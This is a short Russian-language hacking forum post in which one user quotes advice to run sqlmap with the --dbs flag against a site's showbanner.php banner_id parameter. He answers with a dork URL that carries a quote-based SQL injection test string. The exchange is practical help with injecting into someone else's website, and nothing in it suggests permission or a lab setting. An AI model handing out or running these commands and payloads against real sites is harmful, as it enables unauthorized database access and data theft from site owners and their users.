Показать сообщение отдельно

  #7  
Старый 20.01.2016, 15:52
ruslan0477
Новичок
Регистрация: 06.12.2015
Сообщений: 23
С нами: 5493206

Репутация: 0
По умолчанию

Цитата:
Сообщение от ms13  

Пробуй так!
sqlmap -u www.site.ru/showbanner.php?banner_id=X --dbs --no-cast
где X - тот id, к которому ты сначала тыкал свою каывчку, больше ничего не надо, map сам всё подберёт!
Но учти, после этой команды ты лишь узнаешь кол-во и имена БД...
Ну так дорка у меня такая и есть без id

http://www.site.ru/showbanner.php?banner_id=' and [t] and '1'='1 --dbs

просто кавычка
 
Ответить с цитированием